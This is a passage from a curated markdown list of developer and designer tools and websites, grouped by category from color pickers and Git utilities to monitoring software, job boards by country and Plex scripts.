[vecta](https://vecta.io/symbols) - Flow chart, AWS, Google and Azure cloud symbols - [](#) - [Vectr](https://vectr.com/) - Web and Desktop cross-platform Graphics Software - [](#) - [Webolution](http://fabianburghardt.de/webolution/) - Explore the evolution of Webdesign from 1991 to 2015 - [](#) ### Color picker / Color schemes - [Clrs](http://clrs.cc/) - A nicer color palette for the web. - [](#) - [ColorSlurp](https://colorslurp.com/) - The ultimate color tool for developers and designers. Available for iOS macOS. - [](#) - [coolors](https://coolors.co/) - The super fast color schemes generator! Create the perfect palette or get inspired by thousands of beautiful color schemes. Available as iOS app or Adobe addon. - [](#) - [paletton](http://paletton.com/) - A Color Scheme Designer / Palette - [](#) - [rgb.to](https://rgb.to/) - Convert color values and find colour schemes simply - [](#) ### Fonts - [fontspark](https://fontspark.app/) - Helps to find cool fonts to use. - [](#) - [FortAwesome](https://github.com/FortAwesome/vue-fontawesome) - Font Awesome 5 Vue component using SVG with JS - [](#) - [PureCSS-Font](https://github.com/cyanharlow/PureCSS-Font) - For private, SEO-hidden, CAPTCHA-friendly unselectable text. Deter plagiarism and spambots! - [](#) - [pyfiglet](https://github.com/pwaller/pyfiglet) - Takes ASCII text and renders it in ASCII art fonts. - [](#) ### Illustrations - [delesign](https://delesign.com/free-designs/graphics/) - Royalty-free designs for your website, social media, blog, email newsletters, and more. - [](#) - [freellustrations](https://freellustrations.com/) - Free illustrations background images - [undraw](https://undraw.co/illustrations) - Browse to find the images that fit your needs and click to download. Use the on-the-fly color image generation to match your brand identity. - [](#) for your awesome landing pages. - [](#) ### Image Editing / Drawing - [Affinity](https://affinity.serif.com) - Great alternative to Photoshop - [](#) - [bgeraser](http://bgeraser.com/) - Remove Background from Images - [](#) - [cleanup.pictures](https://cleanup.pictures/) - Remove objects and defects from your pictures. - [](#) - [Inkscape](https://inkscape.org/) - A professional cross-platform vector graphics editor - [](#) ### Logo - [free-logo-maker](https://www.ucraft.com/free-logo-maker) - High resolution logo maker - [](#) - [Logo](https://logo.com/) - Make a logo in minutes - [](#) ### Stock Images and Videos - [artgrid](https://artgrid.io/) - Stock Footage, Music and SFX. - [](#) - [deathtothestockphoto](https://deathtothestockphoto.com/) - Sign-up to get free photo sample. - [](#) - [Freepik](https://www.freepik.com) - Free Vectors, Stock Photos, PSD and Icons - [](#) - [gratisography](https://gratisography.com/) - Quirky, Creative, Always Free Photos. - [](#) - [lifeofpix](https://www.lifeofpix.com/) - Free high resolution photography. - [](#) - [mixkit](https://mixkit.co/) - Stock Video Clips, Stock Music, Sound Effects & Video Templates. - [](#) - [picjumbo](https://picjumbo.com/) - Download free stock photos, backgrounds and free high-resolution images for personal and commercial use - [](#) - [pixabay](https://pixabay.com/) - royalty free stock images - [](#) - [stocksnap](https://stocksnap.io/) - Beautiful free stock photos - [](#) - [stocksy](https://www.stocksy.com/) - Stock photos and video footage with no filler - [](#) - [unsplash](https://unsplash.com/) - The internet’s source of freely-usable images. Powered by creators everywhere. - [](#) ## Good Practices / Best Practices / Ebooks _When you don't know where to start, that's probably the right place_ - [12 Factor - Config](https://12factor.net/config) - [A Byte of Python](https://python.swaroopch.com/) - Book on programming using the Python language - [](#) - [Animations in UX](https://uxdesign.cc/the-ultimate-guide-to-proper-use-of-animation-in-ux-10bd98614fa9) - [automatetheboringstuff](https://automatetheboringstuff.com/) - Automate the Boring Stuff with Python - [developer-roadmaps](https://roadmap.sh/) - Roadmap to becoming a web developer, devops, .... in 2020 - [](#) - [Github flow](https://guides.github.com/introduction/flow/) - [Google SRE Books](https://landing.google.com/sre/books/) - [](#) - [Material Design](https://material.io/design/#color-ui-color-application) ## Graphical User Interface (GUI) / Screens _Tired of using the terminal?_ - [air-display](https://avatron.com/applications/air-display/) - Turn almost any spare screen into an extra display for your computer (macOS) - [](#) - [i3wm](https://i3wm.org/) - Tiling window manager, very helpful when using several terminals. See [i3-gaps](https://github.com/Airblader/i3) for an alternative. - [](#) - [material-ui](https://material-ui.com/) - React components for faster and easier web development. Build your own design system, or start with Material Design. - [](#) - [openchakra](https://github.com/premieroctet/openchakra) - Full-featured visual editor and code generator for React using Chakra UI - [](#) - [Rectangle](https://github.com/rxhanson/Rectangle) - Rectangle is a window management app for macOS based on Spectacle, written in Swift. - [](#) - [VTM](https://vtm.netxs.online/) - Monotty Desktopio: Text-based desktop environment inside your terminal. - [](#) ## Git _Whatever you do, don't be one_ - [act](https://github.com/nektos/act) - Run your GitHub Actions locally - [](#) - [bfg-repo-cleaner](https://github.com/rtyley/bfg-repo-cleaner) - For cleansing bad data out of your Git repository such as big files, Passwords, Credentials & other Private data. - [](#) - [changelog](https://github.com/olivierlacan/keep-a-changelog) - Don’t let your friends dump git logs into changelogs™ - [](#) - [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) - A specification for adding human and machine readable meaning to commit messages - [](#) - [difftastic](https://github.com/wilfred/difftastic) - A structural diff that understands syntax and supports over 30 programming languages - [](#) - [fix-all-conflicts](https://github.com/mkchoi212/fac) - Easy-to-use CUI for fixing git conflicts - [](#) - [forgit](https://github.com/wfxr/forgit) - Utility tool for using git interactively - [](#) - [git-sizer](https://github.com/github/git-sizer) - Compute various size metrics for a Git repository, flagging those that might cause problems. - [](#) - [github1s](https://github1s.com/) - One second to read GitHub code with VS Code. - [](#) - [gitignore collection](https://github.com/github/gitignore) - A collection of useful .gitignore templates - [](#) - [gitignore](https://www.gitignore.io/) - Create useful .gitignore files for your project - [](#) - [gitpod](https://www.gitpod.io/self-hosted/) - Take Control of Your Source Code. Also works with Visual Studio Code. - [](#) - [glab](https://github.com/profclems/glab) - GitLab CLI tool - [](#) - [gource](https://github.com/acaudwell/Gource) - software version control visualization - [](#) - [notifier-for-github](https://github.com/sindresorhus/notifier-for-github) - Get notified about new GitHub notifications - [](#) - [vercel](https://vercel.com/) - Cloud platform for static frontends and serverless functions. It enables developers to host websites and web applications that deploy instantly for example from a git repository, scale automatically, and require no supervision - [](#) - [whatthecommit](http://whatthecommit.com/) - commit message generator. - [](#) ## Hardware - [flipperzero](https://flipperzero.one/) - Open source multi-tool device for researching and pentesting radio protocols, access control systems, hardware, and more. - [](#) - [pikvm](https://pikvm.org/) - Open and cheap DIY IP-KVM on Raspberry Pi - - [](#) ### Hardware Checks _Sometimes the source of the issue is not located on the chair and the "Have you tried turning it off and on again" is not enough_ - [CPU-Z](https://www.cpuid.com/softwares/cpu-z.html) - Gathers information on some of the main devices of your system) - [](#) - [memtest86](https://www.memtest86.com/) - The standard for RAM memory diagnostics - [](#) - [speccy](https://www.ccleaner.com/speccy) - Fast, lightweight, advanced system information tool for your PC. Need to find out what’s inside your computer? Speccy has all the information you need! - [](#) ## Installers / Dependency Managers / Bundlers - [composer](https://getcomposer.org/) - A Dependency Manager for PHP - [](#) - [Homebrew](https://github.com/Homebrew/brew) - The missing package manager for macOS (or Linux) - [](#) - [n – Node version management](https://github.com/tj/n) - Interactively Manage Your Node.js Versions. - [](#) - [Node Version Manager](https://github.com/nvm-sh/nvm) - Bash script to manage multiple active node.js versions - [](#) - [parcel](https://github.com/parcel-bundler/parcel) - Zero configuration web application bundler - [](#) - [scoop](https://scoop.sh/) - Command-line installer for Windows - [](#) - [wpackagist](https://wpackagist.org/) - Allows WordPress plugins and themes to be managed along with other dependencies using Composer. - [](#) - [yarn](https://github.com/yarnpkg/yarn) - Fast, reliable, and secure dependency management - [](#) ## Integrated Development Environment (IDE) _printf("Hello, World!");_ - [Atom](https://atom.io/) - A hackable text editor for the 21st Century - [](https://github.com/atom/atom) - [code-server](https://github.com/cdr/code-server/) - Run VS Code on any machine anywhere and access it in the browser. - [](#) - [draculatheme](https://github.com/dracula/draculatheme.com) - Dark theme for VIM, VScode, firefox, Telegram, ... - [](#) - [micro](https://github.com/zyedidia/micro) - easy to use and intuitive. - [](#) - [neovim](https://neovim.io/) - hyperextensible Vim-based text editor - [](#) - [Ox](https://github.com/curlpipe/ox) - Ox is a code editor that runs in your terminal. - [](#) - [spacemacs](https://github.com/syl20bnr/spacemacs) - The best editor is neither Emacs nor Vim, it's Emacs _and_ Vim! - [](#) - [tabnine](https://www.tabnine.com/) - Code faster with AI completions - [](#) - [theia](https://theia-ide.org/) - Theia is an extensible platform to develop multi-language Cloud & Desktop IDEs with state-of-the-art web technologies. - [](#) - [Visual Studio Code](https://code.visualstudio.com/) - Great crossplatform IDE, made by microsoft - [](https://github.com/Microsoft/vscode) ### Atom Plugins - minimap - pigments ### Visual Studio Code Plugins - [polacode](https://github.com/octref/polacode) ## Images / Image Optimisation / Text recognition (OCR) - [brunsli](https://google.github.io/brunsli/#brunsli) - Brunsli is a lossless JPEG repacking library (JPEG XL Lossless Recompression algorithm). - [](#https://github.com/google/brunsl) - [clipdrop](https://clipdrop.co/) - Extract objects, people, drawings and text. Simply point and tap, ClipDrop does the rest. - [](#) - [EasyOCR](https://github.com/JaidedAI/EasyOCR) - Ready-to-use OCR with 40+ languages supported including Chinese, Japanese, Korean and Thai. - [](#) - [EXIF tool](http://owl.phy.queensu.ca/~phil/exiftool/) - A crossplatform command-line application for reading, writing and editing meta information in a wide variety of files. - [](https://github.com/exiftool/exiftool) - [generated.photos](https://generated.photos/) - Enhance your creative works with photos generated completely by AI. Find model images through our sorted and tagged app, or integrate images via API. - [](#) - [guetzli](https://github.com/google/guetzli/) - Guetzli is a JPEG encoder that aims for excellent compression density at high visual quality. - [](#) - [image-scrubber](https://github.com/everestpipkin/image-scrubber) - A tool for anonymizing photographs taken at protests - [](#) - [imageoptim](https://imageoptim.com/) - ImageOptim makes images load faster. Removes bloated metadata. Saves disk space & bandwidth by compressing images without losing quality. - [](#) - [piwigo](https://piwigo.org/) - Photo gallery software that helps to manage your photo collection - [](#) - [svgomg](https://jakearchibald.github.io/svgomg/) - Helps optimizing SVG images - [](#) ## Images reverse search / Face search / Search Engines / Image tagging / Deepfake _I'm a creep_ - [Algolia](https://www.algolia.com/) - AI-powered Search & Discovery platform - [](#) - [avatarify](https://github.com/alievk/avatarify) - Photorealistic avatars for Skype and Zoom - [](#) - [betafaceapi](https://www.betafaceapi.com/demo.html) - A face detection and face recognition web service - [](#) - [finder](https://finder.app/) - Find mail addresses linked to a domain - [](#) - [first-order-model](https://github.com/AliaksandrSiarohin/first-order-model) - Deepfake - [](#) - [meilisearch](https://www.meilisearch.com/) - Fast, Relevant, and Typo-Tolerant Search Engine - [](#) - [phototagger](http://www.phototagger.org/) - Helps tagging pictures - [](#) - [pictriev](http://www.pictriev.com/) - Gives attributes to pictures in percentages - [](#) - [pimeyes](https://pimeyes.com/en/) - Find people with similar faces. - [](#) - [sherlock](https://github.com/sherlock-project/sherlock) - Hunt down social media accounts by username across social networks - [](#) - [typensense](https://github.com/typesense/typesense) - Fast, typo-tolerant search engine for building delightful search experiences - [](#) - [yandex.ru](https://yandex.ru/images/) - The search engine can be used to reverse search for images as well - [](#) ## PAAS / SAAS Providers - [jelastic](https://jelastic.com/paas-cloud-hosting/) - [kuberlogic](https://kuberlogic.com/) - [lastbackend](https://lastbackend.com/) - [platform.sh](https://platform.sh) - [porter](https://github.com/porter-dev/porter) - [pulumi](https://www.pulumi.com/) - [spaceship](https://spaceship.run/) ## Remote Desktop _Always there for you_ - [guacamole](https://guacamole.apache.org/) - Remote desktop gateway. It supports standard protocols like VNC, RDP, and SSH. - [](#) ## Recruitment / Job searching / Interviews _Getting paid for following your passion is even more fun, isn't it?_ To get an idea of what technology to learn next, what tools are commonly used by your peers, salary ranges per technology, ... head over to the [Stack Overflow Developer Survey](https://survey.stackoverflow.co/2022/). - [devops-exercises](https://github.com/bregman-arie/devops-exercises) - Questions and exercises on various technical topics, sometimes related to DevOps and SRE :) - [](#) - [fullstack.cafe](https://www.fullstack.cafe/) - Kill Your Tech Interview. Full-Stack, Coding & System Design Interview Questions Answered To Get Your Next Six-Figure Job Offer. - [](#) - [github-profile-readme-generator](https://github.com/rahuldkjain/github-profile-readme-generator) - Easy way to create a GitHub profile readme with the latest add-ons - [](#) - [honeypot](https://www.honeypot.io/) - :uk: / :de: / NL - Europe’s developer-focused job platform. - [Interview Map](https://github.com/InterviewMap/CS-Interview-Knowledge-Map/blob/master/README-EN.md) - This is a map that can help you to prepare for the next job interview - [layoffs.fyi](https://layoffs.fyi/) - Tracking all tech startup layoffs. - [](#) - [microverse](https://www.microverse.org/) - Become a remote software developer, no matter where you're from. Learn with Microverse and connect to life-changing opportunities. Don’t pay anything until you get a job! - [](#) - [remotetechjobs](https://www.remotetechjobs.com/) - Find a remote job. :uk: - [talent.io](https://www.talent.io/en/) - :uk: - Get the tech job you deserve. The simplest way to find full-time and contract tech positions in Europe - [test-your-sysadmin-skills](https://github.com/trimstray/test-your-sysadmin-skills) - This project contains 284 test questions and answers that can be used as a test your knowledge or during an interview/exam for position such as Linux (*nix) System Administrator. - [](#) - [triplebyte](https://triplebyte.com/) - Showcase your tech skills and hear from top companies! - [](#) - [tweetjobs](https://tweetjobs.dev/) - :uk: Find Latest Jobs from Twitter - [justjoinit](https://justjoin.it/) - :uk: - Mainly for Poland but also has some job listings for neighbouring countries. ### Freelance - [xolo](https://www.xolo.io/zz-en) - Solution that handles bureaucracy from setting up the business to accounting- [](#) ### Create a resume - [react-ultimate-resume](https://github.com/welovedevs/react-ultimate-resume) - A modern software developer resume built with React and JSONResume - [](#) - [Reactive-Resume](https://github.com/AmruthPillai/Reactive-Resume) - Resume Builder That Respects Your Privacy - [](#) - [read.cv](https://read.cv/) - Mindful professional profiles - [](#) - [resumemaker](https://www.resumemaker.online/) - Helps you to make your resume online - [](#) - [universal-resume](https://github.com/WebPraktikos/universal-resume) - Minimal and formal résumé (CV) website template for print, mobile, and desktop. - [](#) ### Remote Work Since salaries are tough to manage, see an idea of solution with [slite's salary calculator for remote teams](https://slite.com/blog/fair-pay). - [cosmopolify](https://cosmopolify.com/jobs/) - Work from anywhere - [](#) - [date-holidays](https://github.com/commenthol/date-holidays) - Worldwide holidays ready to be imported. - [](#) - [housefor.work](https://housefor.work/) - Test internet connection - [](#) - [mondjo](https://www.mondjo.com/) - Remote Jobs for Business Professionals - [](#) - [Remote Workers](https://remoteworkers.net) - Remote Jobs & Talent Network - [remoteleaf](https://remoteleaf.com/) - We search the entire internet and hand-pick thousands of remote jobs, so you don’t have to. - [](#) - [Remoteok](https://remoteok.io/) - :uk: Get a remote job you can do anywhere - [](#) - [weworkremotely](https://weworkremotely.com/) - :uk: - Largest remote work community in the world - [](#) ### Housing - [nomadlist.com](https://nomadlist.com/europe) - Community of remote workers living around the world. - [](#) - [nomador](https://www.nomador.com/) - House sitting. - [](#) - [Scoperty](https://scoperty.de/home) - Gives precise information about housing value for houses and flats in Germany :de: ### Canada - [neuvoo](https://neuvoo.ca/) - Focused on Canada ### Estonia - [cvkeskus](https://www.cvkeskus.ee/) - :uk: Focused on Estonia - [workinestonia](https://www.workinestonia.com/) - :uk: Focused on Estonia ### France - [meteojob](https://www.meteojob.com/) - :fr: - Focused on France - [Salaires en France](https://www.journaldunet.com/business/salaire/france/pays-fra) - :fr: - Salaries in France - [Are you rich or poor?](https://www.inegalites.fr/Salaire-etes-vous-riche-ou-pauvre) - :fr: - Compare your salary with the rest of the french population - [Simulateur salaire brut et net](https://droit-finances.commentcamarche.com/faq/83832-simulateur-salaire-brut-et-net-module-de-calcul) - :fr: Brut / Net calculator ### Finland - [helsinkibusinesshub](https://www.helsinkibusinesshub.fi/90-day-finn/) - Apply Now for a Free 90-Day Helsinki Relocation Package! - [](#) ### Germany - [brutto-netto-rechner](https://www.brutto-netto-rechner.info/) - :de: Brutto / Netto calculator - [German salary calculator](https://lohntastik.de/gns/gross-net-salary-calculator) - :de: Gross to net salary calculator with tax and income break down charts. - [Spiegel gehaltsrechner](https://www.spiegel.de/wirtschaft/service/gehaltsrechner-gehoeren-sie-zu-den-oberen-zehn-prozent-a-f5a19d00-84b3-407f-aff2-bce27e8088cf) - :de: Are you part of the top 10%? ### Iceland - [Visa](https://work.iceland.is/working/icelands-remote-work-long-term-visa) - Foreign nationals remotely working for foreign companies—or self-employed—are now eligible for a long-term visa. ### Malta - [Malta-for-nomads](https://nomad.residencymalta.gov.mt/malta-for-nomads/) - :uk: Residence Permit. ### New Zealand - [new-zealand](http://webrear.mbie.govt.nz/summary/new-zealand) - :uk: Interactive Regional Economic Activity map of New Zealand - [seek](https://www.seek.co.nz/) - :uk: Focused on New Zealand - [trademe](https://www.trademe.co.nz/jobs) - :uk: Focused on New Zealand - [workhere](https://www.workhere.co.nz/jobs) - :uk: Focused on New Zealand - [workingin-newzealand](http://www.workingin-newzealand.com/jobs/) - :uk: Focused on New Zealand ### Poland - [infopraca](https://www.infopraca.pl/) - Focused on Poland - [jobesto](https://jobesto.com/) - Focused on Poland - [neuvoo](https://neuvoo.pl/) - Focused on Poland - [nofluffjobs](https://nofluffjobs.com/) - :uk: Focused on Poland - [pracuj](https://www.pracuj.pl/) - Focused on Poland - [wynagrodzenia](https://wynagrodzenia.pl/kalkulator-wynagrodzen/wyniki) - Brutto / Netto calculator ## Robotic Process Automation (RPA) - [roro](https://github.com/arviedelgado/roro) - RPA Software for windows - [](#) - [TagUI](https://github.com/kelaberetiv/TagUI) - Command-line tool for digital process automation (RPA) - [](#) - [taskt](https://github.com/saucepleez/taskt) - Build and design process automation without needing to write application code (for windows). - [](#) ## RSS / News aggregator - [fluent-reader](https://hyliu.me/fluent-reader/) - Local, cross-platform news aggregator with a fresh look. Bring all your favorite sources with you and read distraction-free. - [](#) - [flusio](https://github.com/flusio/flusio) - Aggregate, save and share news links from all over the Web. - [](#) - [Lemmy](https://join-lemmy.org/) - Lemmy is similar to sites like Reddit, Lobste.rs, or Hacker News: you subscribe to communities you're interested in, post links and discussions, then vote and comment on them. - [](#) - [reederapp](https://reederapp.com/) - your news reader for macOS and iOS - [](#) - [rssfs](https://github.com/dertuxmalwieder/rssfs) - Mount RSS feeds as file systems - [](#) - [tt-rss](https://tt-rss.org/) - Web-based news feed (RSS/Atom) reader and aggregator - [](#) ## Lamp Stack _Apache, MySQL, PHP_ - [Docker - Lamp](https://github.com/sprintcube/docker-compose-lamp) - A basic LAMP stack environment built using Docker Compose. - [](#) ## Mail _That relict of the past_ - [aerc](https://aerc-mail.org) - A terminal-based e-mail client for power users - [] - [complete IP Blacklist (BL) check for sending Mailservers](https://multirbl.valli.org/) - Free DNSBL (DNS BlackList aka RBL) lookup and FCrDNS (Forward Confirmed reverse DNS aka iprev) check tool. - [](#) - [dnswl](https://www.dnswl.org/) - E-Mail Reputation – Protect against false positives. - [](#) - [imapsync](https://imapsync.lamiral.info/) - An IMAP transfers tool. The purpose of imapsync is to migrate IMAP accounts or to backup IMAP accounts - [](https://github.com/imapsync/imapsync) - [Kanbanmail](https://kanbanmail.app/) - Kanban and email in one tool - [](#) - [Mailspring](https://www.getmailspring.com/) - Great mail client for Mac, Linux, and Windows. - [](#) - [mb2md](http://batleth.sapienti-sat.org/projects/mb2md/) - Helps converting Mbox mailboxes to Maildir format. - [](#) - [meilindex](https://github.com/tryffel/meilindex) - Email indexing and extremely fast full-text-search with Meilisearch. Meilindex supports configuring stop-words, ranking and synonyms. - [](#) - [offline imap](http://www.offlineimap.org/) - OfflineIMAP allows to dispose your mailbox(es) as a local Maildir(s). - [](https://github.com/OfflineIMAP/offlineimap) - [poste.io](https://poste.io/) - SMTP + IMAP + POP3 + Antispam + Antivirus +Web administration + Webmail...on your server in ~5 minutes [](#) - [roundcube](https://roundcube.net/) - A browser-based multilingual IMAP client with an application-like user interface. It provides full functionality you expect from an email client, including MIME support, address book, folder manipulation, message searching and spell checking. - [](#) - [signitic](https://www.signitic.com/) - Mail signatures managed centrally, consistent and brand aware. - [](#) - [spf test](https://appmaildev.com/en/spf/) - SPF record checker - [](#) ## Mailing _Spam Ham_ - [mail-tester](https://www.mail-tester.com/) - Test the Spammyness of your Emails - [](#) - [mjml](https://mjml.io/) - The only framework that makes responsive email easy - [](https://github.com/mjmlio/mjml) - [Spamassassin](https://spamassassin.apache.org/) - An anti-spam platform giving system administrators a filter to classify email and block spam (unsolicited bulk email). - [](https://github.com/apache/spamassassin) - [unsubscribe](https://github.com/vmagnin/unsubscribe) - Mass unsubscription of mailing lists - [](#) ## Management Software - [hoteldruid](http://www.hoteldruid.com/) - Hotel management (property / booking management software) - [](#) - [locanda](http://locanda.sourceforge.net/) - Booking and management system designed for small hotels, bed & breakfasts, farmhouses. It can be installed on-site, or used as a service. - [](#) ## Mobile Apps / iOS / Android - Authy - Fing - [F-Droid](https://f-droid.org/) - [Mark O'Travel: Where I've Been](https://apps.apple.com/us/app/mark-otravel-tvoa-karta-putesestvij/id866778149) - Keep track of the countries where you have been and where you would like to go next. - [Omninotes](https://omninotes.app/) - Note taking app on android - [Pl@ntNet](https://plantnet.org/en/) - Identify one plant from a picture, and be part of a citizen science project on plant biodiversity - [strong](https://www.strong.app/) - Best and easiest way to track your workouts. - [termux](https://termux.com/) - Android terminal emulator and Linux environment app (no root rights required) - [Time Cop](https://github.com/hamaluik/timecop) - A time tracking app that respects your privacy and gets the job done without getting too fancy. - Waze - [zeroinbox](https://zeroinbox.io/) - iPhone app made for zeroing your inbox ## Massive open online course (MOOC) / E-Learning / Exercises / Educational Games - [Algorithm visualizer](https://algorithm-visualizer.org/) - [class-central](https://www.class-central.com/) - [codecademy](https://www.codecademy.com/) - [codekingdoms](https://codekingdoms.com/) - Learn how to make your own Minecraft mods and Roblox games with Code Kingdoms. For ages 8-14. - [](#) - [codingame](https://www.codingame.com) - The new way to improve your programming skills while having fun and getting noticed - [datacamp](https://www.datacamp.com/) - Learn Data Science Online - [](#) - [flexbox froggy](http://flexboxfroggy.com/) - [flukeout](https://flukeout.github.io/) - [freecodecamp](https://www.freecodecamp.org/) - Learn to code. Build projects. Earn certifications. - [](#) - [getmimo](https://getmimo.com/) - App to learn coding (iOS and Android) - [](#) - [google digital garage](https://learndigital.withgoogle.com/digitalgarage) - Learn at your own pace, with flexible and personalised training courses designed to build your confidence and help you thrive. - [](#) - [grasshopper](https://grasshopper.app/) - Coding app for beginners (Android, iOS, web) - [](#) - [jshero](https://www.jshero.net/en/home.html) - Tutorial with interactive exercises for learning how to code in Javascript - [](#) - [jupiterbroadcasting](https://www.jupiterbroadcasting.com/) - "Shows" about technical stuff - [](#) - [learn git branching](https://learngitbranching.js.org/) - [learnxinyminutes](https://learnxinyminutes.com/) - Learn X in Y minutes - [linux academy](https://linuxacademy.com/) - Real skills for real-world application. Experience interactive courses in AWS, Google Cloud, and Azure and master the tools that shape technology. - [linux journey](https://linuxjourney.com/) - [magic of css](https://adamschwartz.co/magic-of-css/) - [Minecraft Hour of Code](https://studio.code.org/s/mc/) - Use blocks of code to take Steve or Alex on an adventure through this Minecraft world. - [](#) - [OSSU](https://github.com/ossu/data-science) - [Pluralsight](https://www.pluralsight.com/partners/stack-overflow/iq) - [scratch](https://scratch.mit.edu/) - Free coding community for kids - [](#) - [Secnumacademie](https://secnumacademie.gouv.fr/) - [serversforhackers](https://serversforhackers.com/) - Teaching the server tech you need for development and production. Eliminating the frustration of server configuration. - [](#) - [sololearn](https://www.sololearn.com/) - Learn to code for free - [](#) - [SQLzoo](https://sqlzoo.net/) - [Subnetting practice](https://subnettingpractice.com/index.html) - [udemy](https://www.udemy.com/) ## Monitoring / Logs / Server Management _The true question should be: Quis custodiet ipsos custodes?_ - [bosun](https://bosun.org/) - Monitoring and alerting system by Stack Exchange - [](https://github.com/bosun-monitor/bosun) - [Cockpit](https://cockpit-project.org/) - Web-based interface for your servers - [](https://github.com/cockpit-project/cockpit) - [Beew](https://beew.io/) - The simplest way of scheduling HTTP requests. - [](#) - [cronhub](https://cronhub.io/) - Cron Monitoring, Get instant alerts when any of your background jobs fail silently or run longer than expected. - [](#) - [crontab](https://crontab.guru/) - Quick and simple editor for cron schedule expressions - [](#) - [dejavu](https://github.com/appbaseio/dejavu) - The Missing Web UI for Elasticsearch: Import, browse and edit data with rich filters and query views, create search UIs visually. - [](#) - [ELK - elastic stack](https://www.elastic.co/products) - Search is foundational to a wide variety of experiences — from finding documents to monitoring infrastructure to protecting against security threats. - [](#) - [era](https://era.co/) - Observability and analytics for log management at scale - [](#) - [fluentd](https://www.fluentd.org/) - Data collector for unified logging layer - [](#) - [glances](https://github.com/nicolargo/glances) - Monitoring tool which aims to present a large amount of information through a curses or Web based interface for GNU/Linux, BSD, Mac OS and Windows - [](#) - [Grafana](https://grafana.com/) - Analytics and monitoring solution for every database - [](https://github.com/grafana/grafana) - [Graylog](https://www.graylog.org/) - Log Management For All it collects, enhances, stores, and analyzes log data. - [](https://github.com/Graylog2/graylog2-server) - [Icinga](https://icinga.com/) - Monitors availability and performance, gives you simple access to relevant data and raises alerts to keep you in the loop. - [](https://github.com/Icinga/icinga2) - [juju charms](https://jujucharms.com/how-it-works) - An application modelling tool that allows you to deploy, configure, scale and operate cloud infrastructures quickly and efficiently on public clouds such as AWS, GCE, and Azure along with private ones such as MAAS, OpenStack, and VSphere - [](https://github.com/juju/juju) - [LNAV](http://lnav.org/) - Log Analysis, An advanced log file viewer for the small-scale Watch and analyze your log files from a terminal. - [](https://github.com/tstack/lnav) - [logrocket](https://logrocket.com/) - Replay what users do on your site. Helps you reproduce bugs and fix issues faster. - - [](#) - [monitoror](https://github.com/monitoror/monitoror) - Unified monitoring wallboard — Light, ergonomic and reliable monitoring for anything - [](#) - [Munin](http://munin-monitoring.org/) - Resource monitoring tool that can help analyze resource trends and "what just happened to kill our performance?" problems - [](https://github.com/munin-monitoring/munin) - [Nagios](https://www.nagios.org/) - Nagios is a host/service/network monitoring program - [](https://github.com/NagiosEnterprises/nagioscore) - [netdata](https://github.com/firehol/netdata) - Real-time performance monitoring, done right! - [](#) - [osquery](https://osquery.readthedocs.io/en/stable/) - Operating system instrumentation framework for Windows, macOS, Linux, and FreeBSD that exposes an operating system as a high-performance relational database. - [](#) - [Prometheus](https://prometheus.io/) - Monitoring system and time series database. - [](https://github.com/prometheus/prometheus) - [prtg](https://www.paessler.com/prtg) - PRTG Network Monitor is an agentless network monitoring software (ICMP, SNMP, ...) - [](#) - [RPi-Monitor](https://github.com/XavierBerger/RPi-Monitor) - Perform real time monitoring embedded devices - [](#) - [Sensu](https://sensu.io/) - Monitoring tool with built-in auto-discovery for ephemeral infrastructure and distributed applications. - [](https://github.com/sensu/sensu-go) - [Smokeping](https://github.com/oetiker/SmokePing) - SmokePing is a latency logging and graphing and alerting system. - [](#) - [SSH to influx](https://github.com/acouvreur/ssh-log-to-influx) - Sends SSH authentication logs to influxdb with geohashing IP - [](#) - [Stacer](https://github.com/oguzhaninan/Stacer) - Linux System Optimizer and Monitoring - [](#) - [Thruk](https://thruk.org/) - Webinterface for Naemon, Icinga, Shinken and Nagios [](https://github.com/sni/Thruk) - [Uchiwa](https://uchiwa.io/) - Open source dashboard for Sensu. - [](https://github.com/sensu/uchiwa) - [Uptime robot](https://uptimerobot.com/) - Downtime Happens. Get Notified! - [](#) - [uptime-kuma](https://github.com/louislam/uptime-kuma) - A fancy self-hosted monitoring tool like "Uptime Robot". It includes Status Page, Ping Chart, ... - [](#) - [Vector by Datadog](https://vector.dev/) - Tool for building observability pipelines. Collect, transform, and route all your logs and metrics with one simple tool. - [](#) ### CRON Monitoring - [cronitor](https://cronitor.io/) - Instant alerts when your critical background jobs, websites & APIs fail. - [](#) - [healthchecks](https://healthchecks.io/) - Simple and Effective Cron Job Monitoring - [](#) ### Network Mapping - [lansweeper](https://www.lansweeper.com/) - Discover Your IT and build Your Centralized IT Asset Inventory - [](#) - [LetsMapYourNetwork](https://github.com/varchashva/LetsMapYourNetwork) - Helps mapping your network - []() ## Movies / Films / Plex / Animes _Having your own private media? or wondering what do watch tonight?_ - [anidb](https://anidb.net/) - AniDB stands for Anime DataBase. We feature detailed information about all forms of CJK (Chinese, Japanese, and Korean) animation. - [](#) - [astrofox](https://astrofox.io/) - Turn audio into amazing videos - [](#) - [Emby](https://github.com/MediaBrowser/Emby) - personal media server with apps on just about every device - [](#) - [filebot](https://www.filebot.net/) - The ultimate tool for organizing and renaming your Movies, TV Shows and Anime as well as fetching subtitles and artwork. - [](#) - [imdb](https://www.imdb.com/) - The internet movie Database - [](#) - [just watch](https://www.justwatch.com/) - All your streaming services in one app - [](#) - [Kodi](https://kodi.tv/) - Media player application that is available for multiple operating-systems and hardware platforms. - [](https://github.com/xbmc/xbmc) - [myanimelist](https://myanimelist.net/) - Large anime and manga community and database - [](#) - [mydramalist](https://mydramalist.com/) - MyDramaList.com is a community-based project which provides Asian drama & movie fans a site where they can create their very own drama watchlist. - [](#) - [mythtv](https://www.mythtv.org/) - A digital video recorder (DVR) - [](https://github.com/MythTV/mythtv) - [Plex](https://plex.tv) - Plex brings together all the media that matters to you. Your personal collection will look beautiful alongside stellar streaming content. - [](#) - [subsync](https://github.com/sc0ty/subsync) - Automatic movie subtitle synchronization tool. - [](#) - [WatchSomething](https://pecko95.github.io/WatchSomething/) - No idea what to watch ? Find movies or tv shows to watch instantly, or store them in lists for later ! - [](#) ### Plex-related - [Auto-Collections](https://github.com/mza921/Plex-Auto-Collections) - Python 3 script to automatically update Plex collections based off a configuration file - [](#) - [Export tools for Plex](https://github.com/ukdtom/ExportTools.bundle) - Export Plex Library to a csv, xlsx or m3u8 file - [](#) - [JBOPS](https://github.com/blacktwin/JBOPS) - Just a Bunch Of Plex Scripts - [](#) - [Plex Requests](https://github.com/lokenx/plexrequests-meteor) - Plex Requests: Simple automated way for users to request new content for Plex - [](#) - [PlexRedirect](https://github.com/ITRav4/PlexRedirect) - A Plex landing page that redirects you to various sites. - [](#) - [python-plexapi](https://github.com/pkkid/python-plexapi) - Python bindings for the Plex API. - [](#) - 